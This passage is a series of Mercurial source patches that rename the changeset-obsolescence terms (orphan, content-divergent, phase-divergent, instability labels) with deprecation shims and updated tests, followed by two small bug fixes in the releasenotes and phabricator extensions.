Differential Revision: https://phab.mercurial-scm.org/D250

diff --git a/mercurial/commands.py b/mercurial/commands.py
--- a/mercurial/commands.py
+++ b/mercurial/commands.py
@@ -4992,11 +4992,11 @@
         ui.status(_('phases: %s\n') % ', '.join(t))
 
     if obsolete.isenabled(repo, obsolete.createmarkersopt):
-        for trouble in ("unstable", "divergent", "bumped"):
+        for trouble in ("orphan", "divergent", "bumped"):
             numtrouble = len(repo.revs(trouble + "()"))
             # We write all the possibilities to ease translation
             troublemsg = {
-               "unstable": _("orphan: %d changesets"),
+               "orphan": _("orphan: %d changesets"),
                "divergent": _("content-divergent: %d changesets"),
                "bumped": _("phase-divergent: %d changesets"),
             }
diff --git a/mercurial/revset.py b/mercurial/revset.py
--- a/mercurial/revset.py
+++ b/mercurial/revset.py
@@ -1919,10 +1919,18 @@
 
 @predicate('unstable()', safe=True)
 def unstable(repo, subset, x):
+    msg = ("'unstable()' is deprecated, "
+           "use 'orphan()'")
+    repo.ui.deprecwarn(msg, '4.4')
+
+    return orphan(repo, subset, x)
+
+@predicate('orphan()', safe=True)
+def orphan(repo, subset, x):
     """Non-obsolete changesets with obsolete ancestors.
     """
-    # i18n: "unstable" is a keyword
-    getargs(x, 0, 0, _("unstable takes no arguments"))
+    # i18n: "orphan" is a keyword
+    getargs(x, 0, 0, _("orphan takes no arguments"))
     unstables = obsmod.getrevs(repo, 'unstable')
     return subset & unstables
 
diff --git a/tests/test-commit-amend.t b/tests/test-commit-amend.t
--- a/tests/test-commit-amend.t
+++ b/tests/test-commit-amend.t
@@ -604,7 +604,7 @@
     babar
   
   $ hg commit --amend
-  $ hg log -r 'unstable()'
+  $ hg log -r 'orphan()'
   changeset:   18:b99e5df575f7
   branch:      a
   parent:      11:3334b7925910
diff --git a/tests/test-histedit-obsolete.t b/tests/test-histedit-obsolete.t
--- a/tests/test-histedit-obsolete.t
+++ b/tests/test-histedit-obsolete.t
@@ -223,12 +223,12 @@
   $ echo c >> c
   $ hg histedit --continue
 
-  $ hg log -r 'unstable()'
+  $ hg log -r 'orphan()'
   11:c13eb81022ca f (no-eol)
 
 stabilise
 
-  $ hg rebase  -r 'unstable()' -d .
+  $ hg rebase  -r 'orphan()' -d .
   rebasing 11:c13eb81022ca "f"
   $ hg up tip -q
 
diff --git a/tests/test-obsolete.t b/tests/test-obsolete.t
--- a/tests/test-obsolete.t
+++ b/tests/test-obsolete.t
@@ -527,7 +527,7 @@
   update: 1 new changesets, 2 branch heads (merge)
   phases: 3 draft
   orphan: 1 changesets
-  $ hg log -G -r '::unstable()'
+  $ hg log -G -r '::orphan()'
   @  5:cda648ca50f5 (draft orphan) [tip ] add original_e
   |
   x  4:94b33453f93b (draft *obsolete*) [ ] add original_d
@@ -910,7 +910,7 @@
   $ hg debugobsolete `getid obsolete_e`
   obsoleted 1 changesets
   $ hg debugobsolete `getid original_c` `getid babar`
-  $ hg log --config ui.logtemplate= -r 'bumped() and unstable()'
+  $ hg log --config ui.logtemplate= -r 'bumped() and orphan()'
   changeset:   7:50c51b361e60
   user:        test
   date:        Thu Jan 01 00:00:00 1970 +0000
@@ -925,7 +925,7 @@
 
 test the "troubles" templatekw
 
-  $ hg log -r 'bumped() and unstable()'
+  $ hg log -r 'bumped() and orphan()'
   7:50c51b361e60 (draft orphan phase-divergent) [ ] add babar
 
 test the default cmdline template
@@ -947,7 +947,7 @@
 
 test summary output
 
-  $ hg up -r 'bumped() and unstable()'
+  $ hg up -r 'bumped() and orphan()'
   1 files updated, 0 files merged, 1 files removed, 0 files unresolved
   $ hg summary
   parent: 7:50c51b361e60  (orphan, phase-divergent)
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1501761711 -7200
#      Thu Aug 03 14:01:51 2017 +0200
# Node ID f078d7358e908e92648f20e450538066de047d75
# Parent  9dcc3529e002d66f4ff0a8aad0e48bbfef933d43
revset: remane divergent into contentdivergent

Don't touch divergent volatile set name, only the revset name. The volatile
set name will be updated in a later patch.

The renaming is done according to
https://www.mercurial-scm.org/wiki/CEDVocabulary.

Differential Revision: https://phab.mercurial-scm.org/D251

diff --git a/mercurial/commands.py b/mercurial/commands.py
--- a/mercurial/commands.py
+++ b/mercurial/commands.py
@@ -4992,12 +4992,12 @@
         ui.status(_('phases: %s\n') % ', '.join(t))
 
     if obsolete.isenabled(repo, obsolete.createmarkersopt):
-        for trouble in ("orphan", "divergent", "bumped"):
+        for trouble in ("orphan", "contentdivergent", "bumped"):
             numtrouble = len(repo.revs(trouble + "()"))
             # We write all the possibilities to ease translation
             troublemsg = {
                "orphan": _("orphan: %d changesets"),
-               "divergent": _("content-divergent: %d changesets"),
+               "contentdivergent": _("content-divergent: %d changesets"),
                "bumped": _("phase-divergent: %d changesets"),
             }
             if numtrouble > 0:
diff --git a/mercurial/revset.py b/mercurial/revset.py
--- a/mercurial/revset.py
+++ b/mercurial/revset.py
@@ -711,11 +711,19 @@
 
 @predicate('divergent()', safe=True)
 def divergent(repo, subset, x):
+    msg = ("'divergent()' is deprecated, "
+           "use 'contentdivergent()'")
+    repo.ui.deprecwarn(msg, '4.4')
+
+    return contentdivergent(repo, subset, x)
+
+@predicate('contentdivergent()', safe=True)
+def contentdivergent(repo, subset, x):
     """
     Final successors of changesets with an alternative set of final successors.
     """
-    # i18n: "divergent" is a keyword
-    getargs(x, 0, 0, _("divergent takes no arguments"))
+    # i18n: "contentdivergent" is a keyword
+    getargs(x, 0, 0, _("contentdivergent takes no arguments"))
     divergent = obsmod.getrevs(repo, 'divergent')
     return subset & divergent
 
diff --git a/tests/test-obsolete-divergent.t b/tests/test-obsolete-divergent.t
--- a/tests/test-obsolete-divergent.t
+++ b/tests/test-obsolete-divergent.t
@@ -80,7 +80,7 @@
       82623d38b9ba
   392fd25390da
       392fd25390da
-  $ hg log -r 'divergent()'
+  $ hg log -r 'contentdivergent()'
   2:82623d38b9ba A_1
   3:392fd25390da A_2
   $ hg debugsuccessorssets 'all()' --closest
@@ -147,7 +147,7 @@
       01f36c5a8fda
   01f36c5a8fda
       01f36c5a8fda
-  $ hg log -r 'divergent()'
+  $ hg log -r 'contentdivergent()'
   2:82623d38b9ba A_1
   4:01f36c5a8fda A_3
   $ hg debugsuccessorssets 'all()' --closest
@@ -199,7 +199,7 @@
       82623d38b9ba
   392fd25390da
       392fd25390da
-  $ hg log -r 'divergent()'
+  $ hg log -r 'contentdivergent()'
   2:82623d38b9ba A_1
   3:392fd25390da A_2
   $ hg debugsuccessorssets 'all()' --closest
@@ -278,7 +278,7 @@
       01f36c5a8fda
   01f36c5a8fda
       01f36c5a8fda
-  $ hg log -r 'divergent()'
+  $ hg log -r 'contentdivergent()'
   $ hg debugsuccessorssets 'all()' --closest
   d20a80d4def3
       d20a80d4def3
@@ -322,7 +322,7 @@
       82623d38b9ba
   392fd25390da
       392fd25390da
-  $ hg log -r 'divergent()'
+  $ hg log -r 'contentdivergent()'
   $ hg debugsuccessorssets 'all()' --closest
   d20a80d4def3
       d20a80d4def3
@@ -410,7 +410,7 @@
       e442cfc57690
   e442cfc57690
       e442cfc57690
-  $ hg log -r 'divergent()'
+  $ hg log -r 'contentdivergent()'
 
 Check more complex obsolescence graft (with divergence)
 
@@ -515,7 +515,7 @@
       14608b260df8
   bed64f5d2f5a
       bed64f5d2f5a
-  $ hg log -r 'divergent()'
+  $ hg log -r 'contentdivergent()'
   4:01f36c5a8fda A_3
   8:7ae126973a96 A_7
   9:14608b260df8 A_8
@@ -614,7 +614,7 @@
       a139f71be9da
   a139f71be9da
       a139f71be9da
-  $ hg log -r 'divergent()'
+  $ hg log -r 'contentdivergent()'
 
   $ cd ..
 
diff --git a/tests/test-rebase-obsolete.t b/tests/test-rebase-obsolete.t
--- a/tests/test-rebase-obsolete.t
+++ b/tests/test-rebase-obsolete.t
@@ -215,7 +215,7 @@
   08483444fef91d6224f6655ee586a65d263ad34c 4596109a6a4328c398bde3a4a3b6737cfade3003 0 (*) {'user': 'test'} (glob)
   8877864f1edb05d0e07dc4ba77b67a80a7b86672 462a34d07e599b87ea08676a449373fe4e2e1347 0 (*) {'user': 'test'} (glob)
   5ae4c968c6aca831df823664e706c9d4aa34473d 98f6af4ee9539e14da4465128f894c274900b6e5 0 (*) {'user': 'test'} (glob)
-  $ hg log --rev 'divergent()'
+  $ hg log --rev 'contentdivergent()'
   $ hg log -G
   o  13:98f6af4ee953 C
   |
diff --git a/tests/test-revset.t b/tests/test-revset.t
--- a/tests/test-revset.t
+++ b/tests/test-revset.t
@@ -4504,10 +4504,10 @@
   E
   G
 
-  $ hg log -r 'successors(B+A)-divergent()' -T '{desc}\n'
+  $ hg log -r 'successors(B+A)-contentdivergent()' -T '{desc}\n'
   A
   Z
   B
 
-  $ hg log -r 'successors(B+A)-divergent()-obsolete()' -T '{desc}\n'
+  $ hg log -r 'successors(B+A)-contentdivergent()-obsolete()' -T '{desc}\n'
   Z
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1501762119 -7200
#      Thu Aug 03 14:08:39 2017 +0200
# Node ID ed99d3afef889177ef37be21fb0ea0dbb18b0027
# Parent  f078d7358e908e92648f20e450538066de047d75
revset: rename bumped into phasedivergent

Don't touch bumped volatile set name, only the revset name. The volatile set
name will be updated in a later patch.

The renaming is done according to
https://www.mercurial-scm.org/wiki/CEDVocabulary.

Differential Revision: https://phab.mercurial-scm.org/D252

diff --git a/mercurial/commands.py b/mercurial/commands.py
--- a/mercurial/commands.py
+++ b/mercurial/commands.py
@@ -4992,13 +4992,13 @@
         ui.status(_('phases: %s\n') % ', '.join(t))
 
     if obsolete.isenabled(repo, obsolete.createmarkersopt):
-        for trouble in ("orphan", "contentdivergent", "bumped"):
+        for trouble in ("orphan", "contentdivergent", "phasedivergent"):
             numtrouble = len(repo.revs(trouble + "()"))
             # We write all the possibilities to ease translation
             troublemsg = {
                "orphan": _("orphan: %d changesets"),
                "contentdivergent": _("content-divergent: %d changesets"),
-               "bumped": _("phase-divergent: %d changesets"),
+               "phasedivergent": _("phase-divergent: %d changesets"),
             }
             if numtrouble > 0:
                 ui.status(troublemsg[trouble] % numtrouble + "\n")
diff --git a/mercurial/revset.py b/mercurial/revset.py
--- a/mercurial/revset.py
+++ b/mercurial/revset.py
@@ -459,12 +459,20 @@
 
 @predicate('bumped()', safe=True)
 def bumped(repo, subset, x):
+    msg = ("'bumped()' is deprecated, "
+           "use 'phasedivergent()'")
+    repo.ui.deprecwarn(msg, '4.4')
+
+    return phasedivergent(repo, subset, x)
+
+@predicate('phasedivergent()', safe=True)
+def phasedivergent(repo, subset, x):
     """Mutable changesets marked as successors of public changesets.
 
-    Only non-public and non-obsolete changesets can be `bumped`.
+    Only non-public and non-obsolete changesets can be `phasedivergent`.
     """
-    # i18n: "bumped" is a keyword
-    getargs(x, 0, 0, _("bumped takes no arguments"))
+    # i18n: "phasedivergent" is a keyword
+    getargs(x, 0, 0, _("phasedivergent takes no arguments"))
     bumped = obsmod.getrevs(repo, 'bumped')
     return subset & bumped
 
diff --git a/tests/test-obsolete.t b/tests/test-obsolete.t
--- a/tests/test-obsolete.t
+++ b/tests/test-obsolete.t
@@ -223,7 +223,7 @@
 note that the bumped changeset (5:5601fb93a350) is not a direct successor of
 the public changeset
 
-  $ hg log --hidden -r 'bumped()'
+  $ hg log --hidden -r 'phasedivergent()'
   5:5601fb93a350 (draft phase-divergent) [tip ] add new_3_c
 
 And that we can't push bumped changeset
@@ -261,7 +261,7 @@
   created new head
   $ hg debugobsolete -d '1338 0' --flags 1 `getid new_3_c` `getid n3w_3_c`
   obsoleted 1 changesets
-  $ hg log -r 'bumped()'
+  $ hg log -r 'phasedivergent()'
   $ hg log -G
   @  6:6f9641995072 (draft) [tip ] add n3w_3_c
   |
@@ -910,7 +910,7 @@
   $ hg debugobsolete `getid obsolete_e`
   obsoleted 1 changesets
   $ hg debugobsolete `getid original_c` `getid babar`
-  $ hg log --config ui.logtemplate= -r 'bumped() and orphan()'
+  $ hg log --config ui.logtemplate= -r 'phasedivergent() and orphan()'
   changeset:   7:50c51b361e60
   user:        test
   date:        Thu Jan 01 00:00:00 1970 +0000
@@ -925,12 +925,12 @@
 
 test the "troubles" templatekw
 
-  $ hg log -r 'bumped() and orphan()'
+  $ hg log -r 'phasedivergent() and orphan()'
   7:50c51b361e60 (draft orphan phase-divergent) [ ] add babar
 
 test the default cmdline template
 
-  $ hg log -T default -r 'bumped()'
+  $ hg log -T default -r 'phasedivergent()'
   changeset:   7:50c51b361e60
   user:        test
   date:        Thu Jan 01 00:00:00 1970 +0000
@@ -947,7 +947,7 @@
 
 test summary output
 
-  $ hg up -r 'bumped() and orphan()'
+  $ hg up -r 'phasedivergent() and orphan()'
   1 files updated, 0 files merged, 1 files removed, 0 files unresolved
   $ hg summary
   parent: 7:50c51b361e60  (orphan, phase-divergent)
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1501867659 -7200
#      Fri Aug 04 19:27:39 2017 +0200
# Node ID d4b7496f7d0b204410646eece6b2aa588632a9cf
# Parent  ed99d3afef889177ef37be21fb0ea0dbb18b0027
obsolete: rename unstable volatile set into orphan volatile set

The renaming is done according to
https://www.mercurial-scm.org/wiki/CEDVocabulary.

Differential Revision: https://phab.mercurial-scm.org/D253

diff --git a/mercurial/context.py b/mercurial/context.py
--- a/mercurial/context.py
+++ b/mercurial/context.py
@@ -211,7 +211,7 @@
 
     def orphan(self):
         """True if the changeset is not obsolete but it's ancestor are"""
-        return self.rev() in obsmod.getrevs(self._repo, 'unstable')
+        return self.rev() in obsmod.getrevs(self._repo, 'orphan')
 
     def bumped(self):
         msg = ("'context.bumped' is deprecated, "
diff --git a/mercurial/obsolete.py b/mercurial/obsolete.py
--- a/mercurial/obsolete.py
+++ b/mercurial/obsolete.py
@@ -908,6 +908,14 @@
 
 @cachefor('unstable')
 def _computeunstableset(repo):
+    msg = ("'unstable' volatile set is deprecated, "
+           "use 'orphan'")
+    repo.ui.deprecwarn(msg, '4.4')
+
+    return _computeorphanset(repo)
+
+@cachefor('orphan')
+def _computeorphanset(repo):
     """the set of non obsolete revisions with obsolete parents"""
     pfunc = repo.changelog.parentrevs
     mutable = _mutablerevs(repo)
@@ -926,7 +934,7 @@
 @cachefor('suspended')
 def _computesuspendedset(repo):
     """the set of obsolete parents with non obsolete descendants"""
-    suspended = repo.changelog.ancestors(getrevs(repo, 'unstable'))
+    suspended = repo.changelog.ancestors(getrevs(repo, 'orphan'))
     return set(r for r in getrevs(repo, 'obsolete') if r in suspended)
 
 @cachefor('extinct')
diff --git a/mercurial/revset.py b/mercurial/revset.py
--- a/mercurial/revset.py
+++ b/mercurial/revset.py
@@ -1947,8 +1947,8 @@
     """
     # i18n: "orphan" is a keyword
     getargs(x, 0, 0, _("orphan takes no arguments"))
-    unstables = obsmod.getrevs(repo, 'unstable')
-    return subset & unstables
+    orphan = obsmod.getrevs(repo, 'orphan')
+    return subset & orphan
 
 
 @predicate('user(string)', safe=True)
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1501868187 -7200
#      Fri Aug 04 19:36:27 2017 +0200
# Node ID f3f06c260e9e99fbb1e373c8c98a866c57365a46
# Parent  d4b7496f7d0b204410646eece6b2aa588632a9cf
obsolete: rename divergent volatile set into contentdivergent volatile set

The renaming is done according to
https://www.mercurial-scm.org/wiki/CEDVocabulary.

Differential Revision: https://phab.mercurial-scm.org/D254

diff --git a/mercurial/context.py b/mercurial/context.py
--- a/mercurial/context.py
+++ b/mercurial/context.py
@@ -237,7 +237,7 @@
 
         Only non-public and non-obsolete changesets may be divergent.
         """
-        return self.rev() in obsmod.getrevs(self._repo, 'divergent')
+        return self.rev() in obsmod.getrevs(self._repo, 'contentdivergent')
 
     def troubled(self):
         msg = ("'context.troubled' is deprecated, "
diff --git a/mercurial/obsolete.py b/mercurial/obsolete.py
--- a/mercurial/obsolete.py
+++ b/mercurial/obsolete.py
@@ -968,6 +968,14 @@
 
 @cachefor('divergent')
 def _computedivergentset(repo):
+    msg = ("'divergent' volatile set is deprecated, "
+           "use 'contentdivergent'")
+    repo.ui.deprecwarn(msg, '4.4')
+
+    return _computecontentdivergentset(repo)
+
+@cachefor('contentdivergent')
+def _computecontentdivergentset(repo):
     """the set of rev that compete to be the final successors of some revision.
     """
     divergent = set()
diff --git a/mercurial/revset.py b/mercurial/revset.py
--- a/mercurial/revset.py
+++ b/mercurial/revset.py
@@ -732,8 +732,8 @@
     """
     # i18n: "contentdivergent" is a keyword
     getargs(x, 0, 0, _("contentdivergent takes no arguments"))
-    divergent = obsmod.getrevs(repo, 'divergent')
-    return subset & divergent
+    contentdivergent = obsmod.getrevs(repo, 'contentdivergent')
+    return subset & contentdivergent
 
 @predicate('extinct()', safe=True)
 def extinct(repo, subset, x):
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1501868374 -7200
#      Fri Aug 04 19:39:34 2017 +0200
# Node ID 9fa874fb34e1334874b02036a6b545cc90b9dc05
# Parent  f3f06c260e9e99fbb1e373c8c98a866c57365a46
obsolete: rename bumped volatile set into phasedivergent volatile set

The renaming is done according to
https://www.mercurial-scm.org/wiki/CEDVocabulary.

Differential Revision: https://phab.mercurial-scm.org/D255

diff --git a/mercurial/context.py b/mercurial/context.py
--- a/mercurial/context.py
+++ b/mercurial/context.py
@@ -224,7 +224,7 @@
 
         Only non-public and non-obsolete changesets may be bumped.
         """
-        return self.rev() in obsmod.getrevs(self._repo, 'bumped')
+        return self.rev() in obsmod.getrevs(self._repo, 'phasedivergent')
 
     def divergent(self):
         msg = ("'context.divergent' is deprecated, "
diff --git a/mercurial/obsolete.py b/mercurial/obsolete.py
--- a/mercurial/obsolete.py
+++ b/mercurial/obsolete.py
@@ -942,9 +942,16 @@
     """the set of obsolete parents without non obsolete descendants"""
     return getrevs(repo, 'obsolete') - getrevs(repo, 'suspended')
 
-
 @cachefor('bumped')
 def _computebumpedset(repo):
+    msg = ("'bumped' volatile set is deprecated, "
+           "use 'phasedivergent'")
+    repo.ui.deprecwarn(msg, '4.4')
+
+    return _computephasedivergentset(repo)
+
+@cachefor('phasedivergent')
+def _computephasedivergentset(repo):
     """the set of revs trying to obsolete public revisions"""
     bumped = set()
     # util function (avoid attribute lookup in the loop)
diff --git a/mercurial/revset.py b/mercurial/revset.py
--- a/mercurial/revset.py
+++ b/mercurial/revset.py
@@ -473,8 +473,8 @@
     """
     # i18n: "phasedivergent" is a keyword
     getargs(x, 0, 0, _("phasedivergent takes no arguments"))
-    bumped = obsmod.getrevs(repo, 'bumped')
-    return subset & bumped
+    phasedivergent = obsmod.getrevs(repo, 'phasedivergent')
+    return subset & phasedivergent
 
 @predicate('bundle()', safe=True)
 def bundle(repo, subset, x):
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1501762614 -7200
#      Thu Aug 03 14:16:54 2017 +0200
# Node ID 2415ad7436426645db92e03ef9b77808a3c7ce76
# Parent  9fa874fb34e1334874b02036a6b545cc90b9dc05
test: add a test for stabilization related labels

Differential Revision: https://phab.mercurial-scm.org/D256

diff --git a/tests/test-obsolete.t b/tests/test-obsolete.t
--- a/tests/test-obsolete.t
+++ b/tests/test-obsolete.t
@@ -945,6 +945,40 @@
   summary:     add obsolete_e
   
 
+test the obsolete labels
+
+  $ hg log --config ui.logtemplate= --color=debug -r 'phasedivergent()'
+  [log.changeset changeset.draft changeset.troubled trouble.orphan trouble.phase-divergent|changeset:   7:50c51b361e60]
+  [log.user|user:        test]
+  [log.date|date:        Thu Jan 01 00:00:00 1970 +0000]
+  [log.trouble|instability: orphan, phase-divergent]
+  [log.summary|summary:     add babar]
+  
+
+  $ hg log -T default -r 'phasedivergent()' --color=debug
+  [log.changeset changeset.draft changeset.troubled trouble.orphantrouble.phase-divergent|changeset:   7:50c51b361e60]
+  [log.user|user:        test]
+  [log.date|date:        Thu Jan 01 00:00:00 1970 +0000]
+  [log.trouble|instability: orphan, phase-divergent]
+  [log.summary|summary:     add babar]
+  
+
+  $ hg log --config ui.logtemplate= --color=debug -r "obsolete()"
+  [log.changeset changeset.draft changeset.obsolete|changeset:   6:3de5eca88c00]
+  [log.parent changeset.draft|parent:      3:6f9641995072]
+  [log.user|user:        test]
+  [log.date|date:        Thu Jan 01 00:00:00 1970 +0000]
+  [log.summary|summary:     add obsolete_e]
+  
+
+  $ hg log -T default -r 'obsolete()' --color=debug
+  [log.changeset changeset.draft changeset.obsolete|changeset:   6:3de5eca88c00]
+  [log.parent changeset.draft|parent:      3:6f9641995072]
+  [log.user|user:        test]
+  [log.date|date:        Thu Jan 01 00:00:00 1970 +0000]
+  [log.summary|summary:     add obsolete_e]
+  
+
 test summary output
 
   $ hg up -r 'phasedivergent() and orphan()'
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1501763570 -7200
#      Thu Aug 03 14:32:50 2017 +0200
# Node ID 3821dfee2cfcc546a02e2ca71ff0a5874def9208
# Parent  2415ad7436426645db92e03ef9b77808a3c7ce76
label: rename changeset.troubled into changeset.unstable

The renaming is done according to
https://www.mercurial-scm.org/wiki/CEDVocabulary.

Differential Revision: https://phab.mercurial-scm.org/D257

diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py
--- a/mercurial/cmdutil.py
+++ b/mercurial/cmdutil.py
@@ -1571,7 +1571,7 @@
     if ctx.obsolete():
         labels.append('changeset.obsolete')
     if ctx.isunstable():
-        labels.append('changeset.troubled')
+        labels.append('changeset.unstable')
         for instability in ctx.instabilities():
             labels.append('trouble.%s' % instability)
     return ' '.join(labels)
diff --git a/mercurial/templates/map-cmdline.default b/mercurial/templates/map-cmdline.default
--- a/mercurial/templates/map-cmdline.default
+++ b/mercurial/templates/map-cmdline.default
@@ -29,7 +29,7 @@
 
 # General templates
 _trouble_label = 'trouble.{trouble}'
-_troubles_labels = '{if(instabilities, "changeset.troubled {instabilities%_trouble_label}")}'
+_troubles_labels = '{if(instabilities, "changeset.unstable {instabilities%_trouble_label}")}'
 _obsolete_label = '{if(obsolete, "changeset.obsolete")}'
 _cset_labels = '{separate(" ", "log.changeset", "changeset.{phase}", "{_obsolete_label}", "{_troubles_labels}")}'
 cset = '{label("{_cset_labels}",
diff --git a/tests/test-obsolete.t b/tests/test-obsolete.t
--- a/tests/test-obsolete.t
+++ b/tests/test-obsolete.t
@@ -948,7 +948,7 @@
 test the obsolete labels
 
   $ hg log --config ui.logtemplate= --color=debug -r 'phasedivergent()'
-  [log.changeset changeset.draft changeset.troubled trouble.orphan trouble.phase-divergent|changeset:   7:50c51b361e60]
+  [log.changeset changeset.draft changeset.unstable trouble.orphan trouble.phase-divergent|changeset:   7:50c51b361e60]
   [log.user|user:        test]
   [log.date|date:        Thu Jan 01 00:00:00 1970 +0000]
   [log.trouble|instability: orphan, phase-divergent]
@@ -956,7 +956,7 @@
   
 
   $ hg log -T default -r 'phasedivergent()' --color=debug
-  [log.changeset changeset.draft changeset.troubled trouble.orphantrouble.phase-divergent|changeset:   7:50c51b361e60]
+  [log.changeset changeset.draft changeset.unstable trouble.orphantrouble.phase-divergent|changeset:   7:50c51b361e60]
   [log.user|user:        test]
   [log.date|date:        Thu Jan 01 00:00:00 1970 +0000]
   [log.trouble|instability: orphan, phase-divergent]
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1501767041 -7200
#      Thu Aug 03 15:30:41 2017 +0200
# Node ID 40739aef97f72a1e0aad1b727cefb942c268d5aa
# Parent  3821dfee2cfcc546a02e2ca71ff0a5874def9208
label: rename trouble.X into instability.X

The renaming is done according to
https://www.mercurial-scm.org/wiki/CEDVocabulary.

Differential Revision: https://phab.mercurial-scm.org/D258

diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py
--- a/mercurial/cmdutil.py
+++ b/mercurial/cmdutil.py
@@ -1573,7 +1573,7 @@
     if ctx.isunstable():
         labels.append('changeset.unstable')
         for instability in ctx.instabilities():
-            labels.append('trouble.%s' % instability)
+            labels.append('instability.%s' % instability)
     return ' '.join(labels)
 
 class changeset_printer(object):
diff --git a/mercurial/templatekw.py b/mercurial/templatekw.py
--- a/mercurial/templatekw.py
+++ b/mercurial/templatekw.py
@@ -783,7 +783,7 @@
     (EXPERIMENTAL)
     """
     args = pycompat.byteskwargs(args)
-    return showlist('trouble', args['ctx'].instabilities(), args)
+    return showlist('instability', args['ctx'].instabilities(), args)
 
 # tell hggettext to extract docstrings from these functions:
 i18nfunctions = keywords.values()
diff --git a/mercurial/templates/map-cmdline.default b/mercurial/templates/map-cmdline.default
--- a/mercurial/templates/map-cmdline.default
+++ b/mercurial/templates/map-cmdline.default
@@ -28,8 +28,8 @@
                                                % ' {name} ({source})'}\n"))}'
 
 # General templates
-_trouble_label = 'trouble.{trouble}'
-_troubles_labels = '{if(instabilities, "changeset.unstable {instabilities%_trouble_label}")}'
+_instability_label = 'instability.{instability}'
+_troubles_labels = '{if(instabilities, "changeset.unstable {instabilities%_instability_label}")}'
 _obsolete_label = '{if(obsolete, "changeset.obsolete")}'
 _cset_labels = '{separate(" ", "log.changeset", "changeset.{phase}", "{_obsolete_label}", "{_troubles_labels}")}'
 cset = '{label("{_cset_labels}",
diff --git a/tests/test-obsolete.t b/tests/test-obsolete.t
--- a/tests/test-obsolete.t
+++ b/tests/test-obsolete.t
@@ -948,7 +948,7 @@
 test the obsolete labels
 
   $ hg log --config ui.logtemplate= --color=debug -r 'phasedivergent()'
-  [log.changeset changeset.draft changeset.unstable trouble.orphan trouble.phase-divergent|changeset:   7:50c51b361e60]
+  [log.changeset changeset.draft changeset.unstable instability.orphan instability.phase-divergent|changeset:   7:50c51b361e60]
   [log.user|user:        test]
   [log.date|date:        Thu Jan 01 00:00:00 1970 +0000]
   [log.trouble|instability: orphan, phase-divergent]
@@ -956,7 +956,7 @@
   
 
   $ hg log -T default -r 'phasedivergent()' --color=debug
-  [log.changeset changeset.draft changeset.unstable trouble.orphantrouble.phase-divergent|changeset:   7:50c51b361e60]
+  [log.changeset changeset.draft changeset.unstable instability.orphaninstability.phase-divergent|changeset:   7:50c51b361e60]
   [log.user|user:        test]
   [log.date|date:        Thu Jan 01 00:00:00 1970 +0000]
   [log.trouble|instability: orphan, phase-divergent]
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1501767114 -7200
#      Thu Aug 03 15:31:54 2017 +0200
# Node ID db6b666ce1e6c6fd26f6fb07c00fe0e3b18a081d
# Parent  40739aef97f72a1e0aad1b727cefb942c268d5aa
label: rename log.trouble into log.instability

The renaming is done according to
https://www.mercurial-scm.org/wiki/CEDVocabulary.

Differential Revision: https://phab.mercurial-scm.org/D259

diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py
--- a/mercurial/cmdutil.py
+++ b/mercurial/cmdutil.py
@@ -1687,7 +1687,7 @@
             # i18n: column positioning for "hg log"
             instabilities = ctx.instabilities()
             self.ui.write(_("instability: %s\n") % ', '.join(instabilities),
-                          label='log.trouble')
+                          label='log.instability')
 
         self._exthook(ctx)
 
diff --git a/mercurial/templates/map-cmdline.default b/mercurial/templates/map-cmdline.default
--- a/mercurial/templates/map-cmdline.default
+++ b/mercurial/templates/map-cmdline.default
@@ -68,7 +68,7 @@
 ldate = '{label("log.date",
                 "date:        {date|date}")}\n'
 
-ltroubles = '{if(instabilities, "{label('log.trouble',
+ltroubles = '{if(instabilities, "{label('log.instability',
                                    'instability: {join(instabilities, ", ")}')}\n")}'
 
 extra = '{label("ui.debug log.extra",
diff --git a/tests/test-obsolete.t b/tests/test-obsolete.t
--- a/tests/test-obsolete.t
+++ b/tests/test-obsolete.t
@@ -951,7 +951,7 @@
   [log.changeset changeset.draft changeset.unstable instability.orphan instability.phase-divergent|changeset:   7:50c51b361e60]
   [log.user|user:        test]
   [log.date|date:        Thu Jan 01 00:00:00 1970 +0000]
-  [log.trouble|instability: orphan, phase-divergent]
+  [log.instability|instability: orphan, phase-divergent]
   [log.summary|summary:     add babar]
   
 
@@ -959,7 +959,7 @@
   [log.changeset changeset.draft changeset.unstable instability.orphaninstability.phase-divergent|changeset:   7:50c51b361e60]
   [log.user|user:        test]
   [log.date|date:        Thu Jan 01 00:00:00 1970 +0000]
-  [log.trouble|instability: orphan, phase-divergent]
+  [log.instability|instability: orphan, phase-divergent]
   [log.summary|summary:     add babar]
   
 
# HG changeset patch
# User Rishabh Madan <rishabhmadan96@gmail.com>
# Date 1502509902 -19800
#      Sat Aug 12 09:21:42 2017 +0530
# Node ID 589fda7895da3b906c74e27c7414f5d4a90b40f4
# Parent  db6b666ce1e6c6fd26f6fb07c00fe0e3b18a081d
releasenotes: minor bug fix for index error while serializing

Differential Revision: https://phab.mercurial-scm.org/D356

diff --git a/hgext/releasenotes.py b/hgext/releasenotes.py
--- a/hgext/releasenotes.py
+++ b/hgext/releasenotes.py
@@ -426,7 +426,7 @@
 
             lines.append('')
 
-    if lines[-1]:
+    if lines and lines[-1]:
         lines.append('')
 
     return '\n'.join(lines)
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1502599248 25200
#      Sat Aug 12 21:40:48 2017 -0700
# Node ID f7d6978a4da9deed920535630c32509683f29915
# Parent  589fda7895da3b906c74e27c7414f5d4a90b40f4
phabricator: remove an unnecessary writediffproperties call

This was introduced by D229. Thanks Yuya for finding it!

Differential Revision: https://phab.mercurial-scm.org/D366

diff --git a/contrib/phabricator.py b/contrib/phabricator.py
--- a/contrib/phabricator.py
+++ b/contrib/phabricator.py
@@ -277,7 +277,6 @@
     transactions = []
     if neednewdiff:
         diff = creatediff(ctx)
-        writediffproperties(ctx, diff)
         transactions.append({'type': 'update', 'value': diff[r'phid']})
     else:
         # Even if we don't need to upload a new diff because the patch content
# HG changeset patch
